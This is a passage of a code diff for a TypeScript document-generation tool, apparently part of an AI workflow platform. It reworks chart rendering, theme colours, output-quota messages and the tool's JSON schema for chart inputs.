'./contextFiles'-import type { ArtifactMetadata, InternalToolDefinition, InternalToolResult } from './types'+import { DASHBOARD_CHART_TYPES, DashboardCharts } from './dashboardCharts'+import { escapeHtml, oneOf } from './dashboardHtml'+import { dashboardScript } from './dashboardScript'+import {+ DASHBOARD_THEMES,+ type DashboardTheme,+ type DashboardThemeColors,+ type ThemeName,+} from './dashboardThemes'+import { type DocxImagePlacement, docxImageParagraph } from './docxImages'+import { textRuns } from './docxInline'+import { bodyHasText, bodyToDocxChildren } from './docxMarkdown'+import {+ DOCX_COMPLEX_FONT,+ DOCX_LATIN_FONT,+ documentEastAsianScript,+ docxDirection,+ eastAsianScript,+} from './docxScript'+import { DOCX_PALETTES, DocxListNumbering, docxHex } from './docxStyle'+import { buildDocxTable, docxSections } from './docxTable'+import {+ PNG_BASE_PPM,+ fitImageBox,+ fitImageSize,+ imageDataUrl,+ loadEmbeddableImage,+ predecodeImages,+} from './embeddedImages'+import {+ CHART_FONT_STACK,+ PDF_FONT_FAMILY,+ PDF_MONO_FAMILY,+ ensureFontsReady,+ pdfGlyphSource,+ sanitizeForFont,+} from './fonts'+import {+ htmlToPlainLines,+ htmlToPlainText,+ inlineSpans,+ quoteParagraphs,+ withoutClosingHashes,+} from './inlineMarkup'+import {+ BODY_FONT_SIZE,+ MIN_BOTTOM_MARGIN,+ PORTRAIT,+ type UnitMeasure,+ layoutPdfTable,+} from './pdfTables'+import { LINE_FILL, PdfTypesetter } from './pdfText'+import { NATIVE_CHART_TYPES } from './pptxCharts'+import { PPTX_ASPECT_RATIOS, PPTX_PALETTES, buildPptxDeck } from './pptxDeck'+import { SLIDE_LAYOUTS, STATUSES } from './pptxInput'+import { PPTX_TEMPLATES, SEVERITIES } from './pptxTemplates'+import { watchUnknownArguments, withoutUnsetNulls } from './schemaArguments'+import { headerText, normalizeTableRows } from './tableRows'+import { cleanToolArgs } from './toolText'+import type { InternalToolDefinition, InternalToolResult } from './types'+import { buildXlsxWorkbook } from './xlsxWorkbook'++export { fitImageBox, imageDisplaySize, imageIntrinsicSize } from './embeddedImages'-// eslint-disable-next-line @typescript-eslint/no-require-importsconst PdfPrinter = require('pdfmake')-// eslint-disable-next-line @typescript-eslint/no-require-imports-const PptxGenJS = require('pptxgenjs')-// Register Chart.js controllers/scales/elements/plugins once. Chart.js v4 ships// these as separate exports so we have to opt in. `registerables` includes all// chart types we expose (line, bar, pie, doughnut, etc.) plus axes/legend/title.Chart.register(...registerables)+// Charts use the stack ./fonts registers (Roboto first), so labels render the+// same on every image, including one without system fonts.+ensureFontsReady()+Chart.defaults.font.family = CHART_FONT_STACK+Chart.defaults.color = '#0f172a'+// Accessor to the current Host CRD, injected by main (avoids a circular import).// Re-read on every getOutputDir() call because `currentHost` is hydrated async// after boot — caching the path at module load would freeze it to the fallback.@@ -150,11 +221,8 @@ function ensureDir(dir: string): void {}}-// Each generated dashboard inlines the Chart.js UMD bundle (~210 KB) so-// the HTML works offline. That's well under the 50 MB per-recipe quota-// (≈250 dashboards before hitting the cap) and not worth de-duplicating-// for the typical 1–10 dashboards a workflow produces. To skip the inline-// bundle, pass `inlineChartJs: false` on `clerum__generate_dashboard`.+// A dashboard with charts inlines the Chart.js UMD bundle (~210 KB) so the+// HTML works offline: about 250 of them fit in the default quota.const DEFAULT_QUOTA_MB = 50/**@@ -185,6 +253,8 @@ export function getDirectorySize(dir: string): number {** Reads the ceiling from `CLERUM_WORKFLOW_OUTPUT_QUOTA_MB` (default: 50 MB).* Throws if the current directory usage + `incomingBytes` would exceed the cap.+ * `replacingBytes` is the size of a file the write overwrites, which stops+ * counting once it is replaced.** Known limitation (race condition): When the LLM issues multiple tool calls* concurrently (e.g., generate_pdf + generate_xlsx in the same turn), both@@ -193,62 +263,32 @@ export function getDirectorySize(dir: string): number {* combined output would exceed the 50 MB cap. This is a best-effort soft* quota; the 1Gi PVC hard cap enforced by kubelet is the primary defense.*/-export function enforceQuota(outputDir: string, incomingBytes: number): void {+export function enforceQuota(outputDir: string, incomingBytes: number, replacingBytes = 0): void {const raw = process.env.CLERUM_WORKFLOW_OUTPUT_QUOTA_MBconst parsed = raw ? parseInt(raw, 10) : NaNconst quotaMB = Number.isFinite(parsed) && parsed > 0 ? parsed : DEFAULT_QUOTA_MBconst quotaBytes = quotaMB * 1024 * 1024- const current = getDirectorySize(outputDir)+ const current = getDirectorySize(outputDir) - replacingBytesconst projected = current + incomingBytesif (projected > quotaBytes) {+ const mb = (bytes: number) => (bytes / (1024 * 1024)).toFixed(1)throw new Error(- `Output quota exceeded: ${projected} / ${quotaBytes} bytes ` +- `(current=${current}, incoming=${incomingBytes}, quotaMB=${quotaMB})`+ `Output quota exceeded: the output folder holds ${mb(current)} MB and this file needs ` ++ `${mb(incomingBytes)} MB, over the ${quotaMB} MB limit. Make the file smaller, or ask ` ++ 'the user to remove earlier generated files or an operator to raise ' ++ 'CLERUM_WORKFLOW_OUTPUT_QUOTA_MB.')}}-function buildArtifact(filePath: string, format: ArtifactMetadata['format']): ArtifactMetadata {- const stats = fs.statSync(filePath)- return {- name: path.basename(filePath),- format,- path: filePath,- sizeBytes: stats.size,- createdAt: new Date().toISOString(),- }-}--function sanitizeFilename(name: string): string {- // Strip path components, then replace unsafe chars- const basename = path.basename(name)- return basename- .replace(/[^a-zA-Z0-9._-]/g, '_')- .replace(/\.{2,}/g, '.')- .slice(0, 200)-}--/**- * Ensure the filename ends with exactly the requested extension, in lower- * case, without producing duplicates like `report.pdf.pdf` when the caller- * already provided one. Strips any existing extension (case-insensitive)- * before appending. Pass-through-safe for filenames without extension.- */-function ensureExtension(name: string, ext: string): string {- const normExt = ext.startsWith('.') ? ext.toLowerCase() : `.${ext.toLowerCase()}`- // Already ends with the desired extension (case-insensitive)? leave it.- if (name.toLowerCase().endsWith(normExt)) return name- // Strip an existing trailing extension if any (e.g. .PDF, .htm, .pdf.pdf)- const stripped = name.replace(/\.[a-zA-Z0-9]{1,8}$/, '')- return `${stripped}${normExt}`-}-// ─── generate_chart ──────────────────────────────────────────────────-interface ChartTheme {+export interface ChartTheme {backgroundColor: stringtextColor: string+ /** Secondary text, such as a gauge's maximum: at least 4.5:1 on the background. */+ mutedTextColor: stringgridColor: stringpalette: string[]/** Semantic colors used by waterfall (positive/negative deltas) and gauge. */@@ -256,10 +296,11 @@ interface ChartTheme {negative: string}-const CHART_THEMES: Record<string, ChartTheme> = {+export const CHART_THEMES: Record<string, ChartTheme> = {light: {backgroundColor: '#ffffff',textColor: '#0f172a',+ mutedTextColor: '#64748b',gridColor: '#e2e8f0',palette: ['#0f172a', '#22c55e', '#f59e0b', '#ef4444', '#3b82f6', '#a855f7', '#06b6d4'],positive: '#16a34a',@@ -268,6 +309,7 @@ const CHART_THEMES: Record<string, ChartTheme> = {dark: {backgroundColor: '#0f172a',textColor: '#e2e8f0',+ mutedTextColor: '#94a3b8',gridColor: '#334155',palette: ['#22c55e', '#3b82f6', '#a855f7', '#f59e0b', '#ef4444', '#06b6d4', '#ec4899'],positive: '#22c55e',@@ -276,6 +318,7 @@ const CHART_THEMES: Record<string, ChartTheme> = {corporate: {backgroundColor: '#ffffff',textColor: '#1e293b',+ mutedTextColor: '#64748b',gridColor: '#cbd5e1',palette: ['#1e40af', '#0891b2', '#0d9488', '#059669', '#65a30d', '#ca8a04', '#dc2626'],positive: '#059669',@@ -284,6 +327,7 @@ const CHART_THEMES: Record<string, ChartTheme> = {warm: {backgroundColor: '#f7f7f5',textColor: '#2f2823',+ mutedTextColor: '#716961',gridColor: '#d6d2cc',palette: ['#b45309', '#2f2823', '#0d9488', '#1e40af', '#9f1239', '#65a30d', '#7c3aed'],positive: '#65a30d',@@ -292,6 +336,7 @@ const CHART_THEMES: Record<string, ChartTheme> = {'warm-dark': {backgroundColor: '#0e0f10',textColor: '#f2f2ef',+ mutedTextColor: '#9b958f',gridColor: '#2a2c2f',palette: ['#ca6e1e', '#f2f2ef', '#34d399', '#60a5fa', '#fb7185', '#a3e635', '#c4b5fd'],positive: '#a3e635',@@ -299,9 +344,16 @@ const CHART_THEMES: Record<string, ChartTheme> = {},}+/** Types whose series overlap, so their fill has to let the one below show. */+const TRANSLUCENT_FILL_TYPES = new Set(['line', 'area', 'radar'])++/** Widest a single bar may be drawn, in nominal pixels. */+const MAX_BAR_THICKNESS = 120+const DEFAULT_CHART_WIDTH = 800const DEFAULT_CHART_HEIGHT = 400const MAX_CHART_DIMENSION = 4000+const MIN_CHART_DIMENSION = 100const SUPPORTED_CHART_TYPES = new Set([// Core Chart.js types (one-to-one mapping):@@ -326,7 +378,11 @@ const SUPPORTED_CHART_TYPES = new Set([interface ChartDataset {label?: string- data: number[]+ /**+ * Numbers for category charts, {x,y[,r]} for scatter/bubble, and [from,to]+ * tuples once a waterfall has been expanded into floating bars.+ */+ data: Array<number | null> | NormalizedPoint[] | number[][]backgroundColor?: string | string[]borderColor?: string | string[]fill?: boolean@@ -335,18 +391,44 @@ interface ChartDataset {/*** Apply theme colors to datasets that don't specify their own. Each dataset gets* a different color from the palette by index. For pie/doughnut/polarArea where- * each slice is a separate color, the palette is applied across data points- * within a single dataset.+ * each slice is a separate color, every slice gets its own color: a caller's+ * short list is completed from the theme, and slices past the palette get+ * shades of it.** Palettes have 7 colors. With more than 7 datasets the palette wraps via* `idx % palette.length` — adjacent series can end up sharing a color. To* differentiate >7 series, callers should supply explicit `borderColor` /* `backgroundColor` per dataset instead of relying on the palette.*/+/**+ * A mark that reaches the end of the plot has nowhere to put its value label+ * and reads as clipped, so a value axis runs 4% of its range past the data on+ * each side. Not past zero: values from 0 get an axis from 0, not from -20.+ * A bound set in the chart options stays as set.+ */+function addHeadroom(scale: Scale): void {+ const { min, max } = scale+ const room = (max - min) * 0.04+ if (!(room > 0)) return+ const set = scale.options as { min?: unknown; max?: unknown }+ if (set.max === undefined) scale.max = max <= 0 && max + room > 0 ? 0 : max + room+ if (set.min === undefined) scale.min = min >= 0 && min - room < 0 ? 0 : min - room+}++/**+ * Default radius of a series' points: `full` up to `crowd` points, and smaller+ * past that so a dense series keeps the ink of `crowd` points instead of+ * merging into one blot. Never under 1.5 px, so a lone point still shows.+ */+function pointRadius(full: number, crowd: number, points: number): number {+ return points <= crowd ? full : Math.max(1.5, full * Math.sqrt(crowd / points))+}+function applyThemePalette(datasets: ChartDataset[],theme: ChartTheme,- chartType: string+ chartType: string,+ warnings: string[]): ChartDataset[] {const sliceTypes = new Set(['pie', 'doughnut', 'polarArea'])const isSliceType = sliceTypes.has(chartType)@@ -354,19 +436,54 @@ function applyThemePalette(return datasets.map((ds, idx) => {const out: ChartDataset = { ...ds }if (isSliceType) {- if (!out.backgroundColor) {- out.backgroundColor = ds.data.map((_, i) => theme.palette[i % theme.palette.length])+ if (typeof out.backgroundColor !== 'string') {+ const requested = out.backgroundColor+ const { colors, padded, repeated } = sliceColors(+ ds.data.length,+ requested,+ theme.palette,+ theme.backgroundColor+ )+ out.backgroundColor = colors+ const where = `data.datasets[${idx}]`+ if (padded) {+ warnings.push(+ `${where}.backgroundColor had ${requested!.length} color(s) for ${ds.data.length} ` ++ 'slices; the rest were taken from the theme. Send one color per slice.'+ )+ }+ if (repeated) {+ warnings.push(+ `${where} has ${ds.data.length} slices, more than there are distinct colors, so ` ++ 'some colors repeat. Group the smallest slices into "Other".'+ )+ }}} else {const color = theme.palette[idx % theme.palette.length]if (!out.borderColor) out.borderColor = colorif (!out.backgroundColor) {- // For line/area, semi-transparent fill; for bar, solid.- out.backgroundColor = chartType === 'line' || chartType === 'area' ? `${color}33` : color+ // Translucent wherever series are drawn over one another — a solid+ // radar fill hides every series behind the first.+ out.backgroundColor = TRANSLUCENT_FILL_TYPES.has(chartType) ? `${color}33` : color}if (chartType === 'area' && out.fill === undefined) {out.fill = true}+ const point = out as unknown as Record<string, unknown>+ const points = Array.isArray(ds.data) ? ds.data.length : 0+ // An axis ends at a round value or at zero, where a point or bubble would be cut.+ if ((chartType === 'scatter' || chartType === 'bubble') && point.clip === undefined) {+ point.clip = false+ }+ if (chartType === 'scatter') {+ if (point.pointRadius === undefined) point.pointRadius = pointRadius(6, 100, points)+ } else if (chartType === 'line' || chartType === 'area' || chartType === 'stackedArea') {+ // A series with gaps draws no segments at all, leaving its points as+ // the only mark on the canvas.+ if (point.pointRadius === undefined) point.pointRadius = pointRadius(4, 60, points)+ if (point.pointBackgroundColor === undefined) point.pointBackgroundColor = color+ }}return out})@@ -379,12 +496,21 @@ interface ResolvedChartType {// bar, etc.) don't satisfy the general ChartConfiguration['options'] union.// The cast happens once at config-merge time.optionsOverrides: Record<string, unknown> & {- scales?: { x?: Record<string, unknown>; y?: Record<string, unknown> }+ scales?: {+ x?: Record<string, unknown>+ y?: Record<string, unknown>+ y1?: Record<string, unknown>+ }plugins?: { legend?: { display?: boolean } }indexAxis?: 'x' | 'y'}/** When set, the caller should replace the labels array with this value. */labels?: string[]+ /** Gauge only: the reading as sent and the dial's ceiling, for the centre readout. */+ gaugeValue?: number+ gaugeMax?: number+ /** What the type changed about the data, for the caller. */+ notes: string[]}/**@@ -402,7 +528,7 @@ function resolveChartType(theme: ChartTheme,args: Record<string, unknown>): ResolvedChartType {- const o: ResolvedChartType = { chartType: 'bar', optionsOverrides: {} }+ const o: ResolvedChartType = { chartType: 'bar', optionsOverrides: {}, notes: [] }switch (raw) {case 'horizontalBar':o.chartType = 'bar'@@ -426,19 +552,25 @@ function resolveChartType(if (d.fill === undefined) d.fill = (i === 0 ? 'origin' : '-1') as unknown as boolean})return o- case 'mixedBarLine':+ case 'mixedBarLine': {o.chartType = 'bar'// First dataset stays as bar (default for mixed); subsequent// datasets render as line overlays via Chart.js per-dataset `type`.+ const dual = args.dualAxis === truedatasets.forEach((d, i) => {if (i > 0) {- // eslint-disable-next-line @typescript-eslint/no-explicit-any;(d as any).type = 'line'- // eslint-disable-next-line @typescript-eslint/no-explicit-any;(d as any).fill = false+ if (dual) (d as unknown as Record<string, unknown>).yAxisID = 'y1'}})+ if (dual) {+ o.optionsOverrides.scales = {+ y1: { position: 'right', grid: { drawOnChartArea: false } },+ }+ }return o+ }case 'bubble':o.chartType = 'bubble'return o@@ -449,21 +581,43 @@ function resolveChartType(// 180° so the cut shows as a half-circle dial at the bottom.const ds = datasets[0]if (!ds) return o- const rawValue = Array.isArray(ds.data) ? Number(ds.data[0]) : 0+ const values = (ds.data as unknown[]).filter((v): v is number => typeof v === 'number')+ const reading = values[0] ?? 0const max = Math.max(0, Number(args.gaugeMax) || 100)- const value = Math.min(Math.max(rawValue || 0, 0), max)+ // Only the arc is bounded by the dial; the readout prints the reading.+ const arc = Math.min(Math.max(reading, 0), max)+ if (reading > max) {+ o.notes.push(+ `the gauge value ${reading} exceeds gaugeMax ${max}, so the dial is shown full; ` ++ 'the readout prints the value. Raise gaugeMax to show it on the scale.'+ )+ } else if (reading < 0) {+ o.notes.push(`the gauge value ${reading} is below 0, so the dial is shown empty.`)+ }+ if (values.length > 1) {+ o.notes.push(+ `the gauge shows one value, so ${values.length - 1} more in data.datasets[0].data ` ++ `${values.length > 2 ? 'were' : 'was'} left out.`+ )+ }const fill = theme.palette[0]const remainder = theme.gridColor- ds.data = [value, max - value]+ ds.data = [arc, max - arc]ds.backgroundColor = [fill, remainder]ds.borderColor = [fill, remainder]// Drop any extra datasets — gauge is single-value.datasets.length = 1+ o.gaugeValue = reading+ o.gaugeMax = maxo.labels = ['Value', 'Remainder']o.optionsOverrides = {rotation: -90,circumference: 180,cutout: '70%',+ // A half circle is sized against the full circle's box, so without the+ // bottom padding the dial is drawn past the lower edge of the canvas.+ radius: '88%',+ layout: { padding: { top: 12, right: 16, bottom: 90, left: 16 } },plugins: { legend: { display: false } },}return o@@ -485,7 +639,6 @@ function resolveChartType(// Final cumulative-total bar in primary color.floats.push([0, cumulative])colors.push(theme.palette[0])- // eslint-disable-next-line @typescript-eslint/no-explicit-anyds.data = floats as anyds.backgroundColor = colorsds.borderColor = colors@@ -504,10 +657,19 @@ function resolveChartType(if (!ds || !Array.isArray(ds.data)) return o// Sort descending while keeping label/data alignment.const lbls = labels ?? (ds.data as number[]).map((_, i) => `Stage ${i + 1}`)- const paired = (ds.data as number[]).map((v, i) => ({ v: Number(v) || 0, l: lbls[i] ?? '' }))+ const paired = (ds.data as number[]).map((v, i) => ({+ v: Number(v) || 0,+ l: lbls[i] ?? '',+ i,+ }))paired.sort((a, b) => b.v - a.v)ds.data = paired.map(p => p.v)o.labels = paired.map(p => p.l)+ // Per-stage colors follow their stage through the sort.+ const follow = (colors: string | string[] | undefined) =>+ Array.isArray(colors) ? paired.map(p => colors[p.i % colors.length]) : colors+ ds.backgroundColor = follow(ds.backgroundColor)+ ds.borderColor = follow(ds.borderColor)// Drop extra datasets — funnel is single-series.datasets.length = 1o.optionsOverrides = {@@ -522,20 +684,72 @@ function resolveChartType(}}+// ─── Portable schema fragments ───────────────────────────────────────+//+// A tool schema does two jobs. The workflow path (stepRouter) compiles it with+// AJV and REJECTS arguments that do not match before execute() runs, so it must+// accept everything the runtime handles. And it reaches every provider+// verbatim, so it must survive each SDK's translation. Unions are therefore+// written as scalar type lists or `anyOf` branches — @google/genai turns both+// into its own schema — and never as `oneOf`, which it passes through+// untranslated for the Gemini API to reject. Every array declares `items`.++/** A table or sheet cell. Each runtime stringifies or formats what arrives. */+const CELL_SCHEMA = {+ type: ['string', 'number', 'boolean', 'null'],+ description: 'Text, a number, true/false, or null for an empty cell.',+}++/** One row of cells, left to right in header order. */+const ROW_SCHEMA = { type: 'array', items: CELL_SCHEMA }++/** A single color, or one per data point. */+function colorSchema(what: string): Record<string, unknown> {+ return {+ anyOf: [{ type: 'string' }, { type: 'array', items: { type: 'string' } }],+ description: `${what}: a hex color, or an array of one per point.`,+ }+}++/**+ * One chart data point. Numbers are the norm; the rest are shapes models send+ * that normalizeChartData repairs or needs — text such as "1,200", null for a+ * gap, {x, y[, r]} or [x, y[, r]] for scatter and bubble, and {label, value}+ * records or [label, value] pairs.+ */+const CHART_POINT_SCHEMA = {+ anyOf: [+ { type: 'number' },+ { type: 'string' },+ { type: 'null' },+ { type: 'array', items: { type: ['number', 'string'] } },+ {+ type: 'object',+ properties: {+ x: { type: 'number', description: 'X value.' },+ y: { type: 'number', description: 'Y value.' },+ r: { type: 'number', description: 'Bubble radius (px).' },+ label: { type: 'string', description: 'Category.' },+ value: { type: 'number', description: 'Value.' },+ },+ },+ ],+ description: 'A number, null for a gap, or {x, y} / {x, y, r} or [x, y] for scatter / bubble.',+}+const generateChart: InternalToolDefinition = {name: 'clerum__generate_chart',description:- 'Render a chart as a PNG image, suitable for embedding in PDFs, DOCX, XLSX, PPTX, or HTML dashboards. ' +- 'Core types: line, bar, horizontalBar, pie, doughnut, area, scatter, radar, polarArea, bubble. ' +- 'Extended types: stackedBar, stackedArea, mixedBarLine (bar+line combo), ' +- 'gauge (half-circle dial 0..max), waterfall (step-by-step deltas), funnel (sorted pipeline). ' +- "Returns the file path under the output dir; use it as 'images' input for other generators.",+ 'Render a chart as a PNG image, with values printed on it by default. Returns the file ' ++ 'name it was saved under, such as "sales.png"; pass it as images[].path to the PDF or ' ++ 'DOCX generator, as sheets[].images[].path to the XLSX generator, or as a PPTX slide ' ++ 'image.path or chart.path.',parameters: {type: 'object',properties: {filename: {type: 'string',- description: "Output filename (e.g. 'revenue-7d.png'). Extension .png added if missing.",+ description: "Output filename (e.g. 'revenue.png'); .png added if missing.",},type: {type: 'string',@@ -558,82 +772,99 @@ const generateChart: InternalToolDefinition = {'funnel',],description:- 'Chart type. "area"=line with fill. "stackedBar"/"stackedArea"=stacked variants. ' +- '"mixedBarLine"=first dataset rendered as bar, rest as line overlay (financial / KPI vs target). ' +- '"gauge"=single value 0..gaugeMax shown as a half-circle dial. ' +- '"waterfall"=array of deltas rendered as floating step bars + a final total bar. ' +- '"funnel"=horizontal bar sorted descending (great for conversion / pipeline visuals).',+ 'area: filled line. mixedBarLine: first dataset as bars, the rest as lines. ' ++ 'gauge: one value 0..gaugeMax as a half dial. waterfall: one series of deltas, ' ++ 'drawn as steps plus a total bar. funnel: one series, sorted descending.',},title: {type: 'string',- description: 'Optional chart title rendered above the plot.',+ description: 'Title above the plot. Always set one.',},width: {type: 'number',- description: `Pixel width (default ${DEFAULT_CHART_WIDTH}, max ${MAX_CHART_DIMENSION}).`,+ description:+ `Width in px (default ${DEFAULT_CHART_WIDTH}, ${MIN_CHART_DIMENSION}-${MAX_CHART_DIMENSION}; ` ++ 'width × height up to about 13 million). The PNG is up to 2× this.',},height: {type: 'number',- description: `Pixel height (default ${DEFAULT_CHART_HEIGHT}, max ${MAX_CHART_DIMENSION}).`,+ description: `Height in px (default ${DEFAULT_CHART_HEIGHT}, ${MIN_CHART_DIMENSION}-${MAX_CHART_DIMENSION}).`,},theme: {type: 'string',enum: ['light', 'dark', 'corporate', 'warm', 'warm-dark'],- description:- "Color theme. 'warm' / 'warm-dark' are a warm amber accent palette (amber on off-white / near-black). Default 'light'.",+ description: "Color theme. Default 'light'.",},data: {type: 'object',- description:- 'Chart.js-compatible data object: { labels: string[], datasets: [{label, data}] }. ' +- 'Colors are auto-assigned from the theme palette unless you specify backgroundColor / borderColor.',+ description: 'Series to plot. Colors come from the theme unless a dataset sets them.',properties: {labels: {type: 'array',- items: { type: 'string' },- description: 'X-axis labels (or slice labels for pie/doughnut).',+ items: { type: ['string', 'number'] },+ description:+ 'One per value: X-axis categories, or slice names (required) for ' ++ 'pie/doughnut/polarArea. Unused by scatter/bubble.',},datasets: {type: 'array',- description: 'One or more datasets, each with a label and a numeric data array.',+ description: 'One or more series.',items: {type: 'object',required: ['data'],properties: {- label: { type: 'string' },+ label: {+ type: 'string',+ description: 'Series name, shown in the legend.',+ },data: {type: 'array',- description:- 'Either an array of numbers (most types) or an array of {x,y,r} objects (bubble).',- items: {- oneOf: [- { type: 'number' },- {- type: 'object',- required: ['x', 'y', 'r'],- properties: {- x: { type: 'number' },- y: { type: 'number' },- r: { type: 'number' },- },- },- ],- },+ items: CHART_POINT_SCHEMA,+ description: 'One point per label, in labels order.',},- backgroundColor: { type: ['string', 'array'] },- borderColor: { type: ['string', 'array'] },- fill: { type: 'boolean' },+ backgroundColor: colorSchema('Fill color'),+ borderColor: colorSchema('Line/border color'),+ fill: { type: 'boolean', description: 'Fill under a line series.' },},},},},required: ['datasets'],},- yAxisLabel: { type: 'string', description: 'Optional Y-axis title.' },- xAxisLabel: { type: 'string', description: 'Optional X-axis title.' },+ yAxisLabel: { type: 'string', description: 'Y-axis title, e.g. "USD".' },+ xAxisLabel: { type: 'string', description: 'X-axis title.' },+ showValues: {+ type: 'boolean',+ description:+ 'Print each value on the chart. Default on, except scatter, bubble, radar, gauge and stacked types.',+ },+ valueFormat: {+ type: 'string',+ enum: ['auto', 'plain', 'compact', 'currency', 'percent'],+ description:+ 'Number style on the chart and value axis. auto: abbreviate above 10,000; compact: ' ++ 'always (1.2M); currency: prefix currencySymbol; percent: append %.',+ },+ currencySymbol: {+ type: 'string',+ description: "For valueFormat 'currency'. Default '$'.",+ },+ decimals: {+ type: 'number',+ description: 'Decimal places on printed values. Default: per value.',+ },+ showLegend: {+ type: 'boolean',+ description:+ 'Legend on or off. Default: on for several series, or one the titles do not name.',+ },+ dualAxis: {+ type: 'boolean',+ description: 'mixedBarLine only: put the line series on a second, right-hand axis.',+ },gaugeMax: {type: 'number',- description: "Only used by type='gauge'. Maximum value of the dial (default 100).",+ description: 'gauge only: dial maximum (default 100).',},},required: ['filename', 'type', 'data'],@@ -641,49 +872,161 @@ const generateChart: InternalToolDefinition = {async execute(args: Record<string, unknown>, outputDir: string): Promise<InternalToolResult> {let chart: Chart | undefinedtry {- const rawName = String(args.filename ?? 'chart.png')- const filename = sanitizeFilename(ensureExtension(rawName, 'png'))+ ensureFontsReady()++ const filename = outputFilename(args.filename, 'png', 'chart')const chartTypeRaw = String(args.type ?? 'bar')if (!SUPPORTED_CHART_TYPES.has(chartTypeRaw)) {- return { success: false, error: `Unsupported chart type: ${chartTypeRaw}` }+ return {+ success: false,+ error:+ `Unsupported chart type "${chartTypeRaw}". Supported types: ` ++ `${[...SUPPORTED_CHART_TYPES].join(', ')}.`,+ }}- const width = clampDimension(args.width, DEFAULT_CHART_WIDTH)- const height = clampDimension(args.height, DEFAULT_CHART_HEIGHT)+ // Repair what the caller sent before anything is drawn, so an unusable+ // dataset fails with a message instead of rendering an empty plot.+ const normalized = normalizeChartData(args.data, { chartType: chartTypeRaw })+ const warnings = [...normalized.warnings]- // Pre-allocation guard: a 4000×4000 RGBA canvas allocates ~64 MB- // before enforceQuota even sees the file size. Reject canvases- // whose RGBA buffer alone would exceed the recipe quota.- const canvasBytes = width * height * 4- enforceQuota(outputDir, canvasBytes)+ const width = clampDimension('width', args.width, DEFAULT_CHART_WIDTH, warnings)+ const height = clampDimension('height', args.height, DEFAULT_CHART_HEIGHT, warnings)+ // Pixel density for the requested size; the layout itself is capped below.+ const pixelRatio = chartPixelRatio(width, height)+ if (pixelRatio === undefined) {+ return {+ success: false,+ error:+ `Chart too large: ${width}x${height} is over the ` ++ `${(MAX_CANVAS_PIXELS / 1e6).toFixed(1)} megapixel limit. Reduce width or height.`,+ }+ }const themeName = String(args.theme ?? 'light')const theme = CHART_THEMES[themeName] ?? CHART_THEMES.light- const data = args.data as { labels?: unknown; datasets?: ChartDataset[] } | undefined- if (!data || !Array.isArray(data.datasets) || data.datasets.length === 0) {- return { success: false, error: 'data.datasets must be a non-empty array' }- }+ const title = args.title ? sanitizeForFont(String(args.title)) : undefined+ const yAxisLabel = args.yAxisLabel ? sanitizeForFont(String(args.yAxisLabel)) : undefined+ const xAxisLabel = args.xAxisLabel ? sanitizeForFont(String(args.xAxisLabel)) : undefined++ let labels = normalized.labels ? normalized.labels.map(l => sanitizeForFont(l)) : undefined+ const datasets: ChartDataset[] = normalized.datasets.map(ds => ({+ ...ds,+ ...(ds.label ? { label: sanitizeForFont(ds.label) } : {}),+ })) as ChartDataset[]- // Map our exposed types to Chart.js's internal type names AND collect- // any per-type option overrides (stacked scales, indexAxis, gauge- // rotation, etc.). The composition is in resolveChartType — the- // execute body just merges the result into the final config.- let labels = Array.isArray(data.labels) ? [...(data.labels as string[])] : undefined- const themedDatasets = applyThemePalette(data.datasets, theme, chartTypeRaw)+ const themedDatasets = applyThemePalette(datasets, theme, chartTypeRaw, warnings)const resolved = resolveChartType(chartTypeRaw, themedDatasets, labels, theme, args)const chartType = resolved.chartType- // Mutations to themedDatasets / labels are returned via resolved.if (resolved.labels !== undefined) labels = resolved.labels+ warnings.push(...resolved.notes)++ // Past MAX_LAYOUT_SIDE the chart is laid out smaller and drawn at a higher+ // density, so type, lines and bars keep their share of the image.+ const layoutScale = Math.max(1, Math.max(width, height) / MAX_LAYOUT_SIDE)+ const layoutWidth = Math.round(width / layoutScale)+ const layoutHeight = Math.round(height / layoutScale)++ // Type sized for the default canvas turns unreadable on a much larger+ // one, so every font size follows the canvas area.+ const fontScale = Math.min(+ 2,+ Math.max(+ 0.85,+ Math.sqrt((layoutWidth * layoutHeight) / (DEFAULT_CHART_WIDTH * DEFAULT_CHART_HEIGHT))+ )+ )+ const px = (base: number): number => Math.round(base * fontScale)++ const indexAxis = resolved.optionsOverrides?.indexAxis === 'y' ? 'y' : 'x'+ const decimals =+ typeof args.decimals === 'number' &&+ Number.isInteger(args.decimals) &&+ args.decimals >= 0 &&+ args.decimals <= 20+ ? args.decimals+ : undefined+ if (args.decimals !== undefined && decimals === undefined) {+ warnings.push(+ `decimals ${JSON.stringify(args.decimals)} is not a whole number from 0 to 20, so ` ++ 'each value got the places it needs.'+ )+ }+ const valueOptions: ValueLabelOptions = {+ format: resolveValueFormat(args.valueFormat),+ ...(args.currencySymbol ? { currencySymbol: String(args.currencySymbol) } : {}),+ ...(decimals !== undefined ? { decimals } : {}),+ textColor: theme.textColor,+ backgroundColor: theme.backgroundColor,+ indexAxis,+ fontScale,+ }++ const cartesian =+ chartType === 'bar' ||+ chartType === 'line' ||+ chartType === 'scatter' ||+ chartType === 'bubble'+ const showAxes = cartesian && chartTypeRaw !== 'gauge'+ const radial = chartType === 'radar' || chartType === 'polarArea'++ const sliceChart =+ chartTypeRaw === 'pie' || chartTypeRaw === 'doughnut' || chartTypeRaw === 'polarArea'+ const legendEntries = sliceChart ? (labels?.length ?? 0) : themedDatasets.length+ // One series needs a legend only when its name says what the titles do not.+ const only = legendEntries === 1 && !sliceChart ? themedDatasets[0]?.label : undefined+ const namesMore =+ typeof only === 'string' &&+ only.trim() !== '' &&+ ![title, yAxisLabel, xAxisLabel].some(t =>+ t?.toLowerCase().includes(only.trim().toLowerCase())+ )+ const legendDisplay =+ args.showLegend === undefined+ ? resolved.optionsOverrides?.plugins?.legend?.display !== false &&+ (legendEntries > 1 || namesMore)+ : Boolean(args.showLegend)++ const labelValues = shouldLabelValues(chartTypeRaw, args.showValues)+ const plugins: Plugin[] = [backgroundPlugin(theme.backgroundColor)]+ if (labelValues) plugins.push(valueLabelsPlugin(valueOptions))+ if (chartTypeRaw === 'gauge') {+ plugins.push(+ gaugeCenterPlugin({+ value: resolved.gaugeValue ?? 0,+ max: resolved.gaugeMax ?? 100,+ textColor: theme.textColor,+ mutedColor: theme.mutedTextColor,+ format: valueOptions,+ })+ )+ }+ if (isVisuallyEmpty(themedDatasets)) {+ plugins.push(emptyStatePlugin('No data to display', theme.textColor))+ }- const showAxes =- (chartType === 'bar' ||- chartType === 'line' ||- chartType === 'scatter' ||- chartType === 'bubble') &&- chartTypeRaw !== 'gauge'- const yAxisLabel = args.yAxisLabel ? String(args.yAxisLabel) : undefined- const xAxisLabel = args.xAxisLabel ? 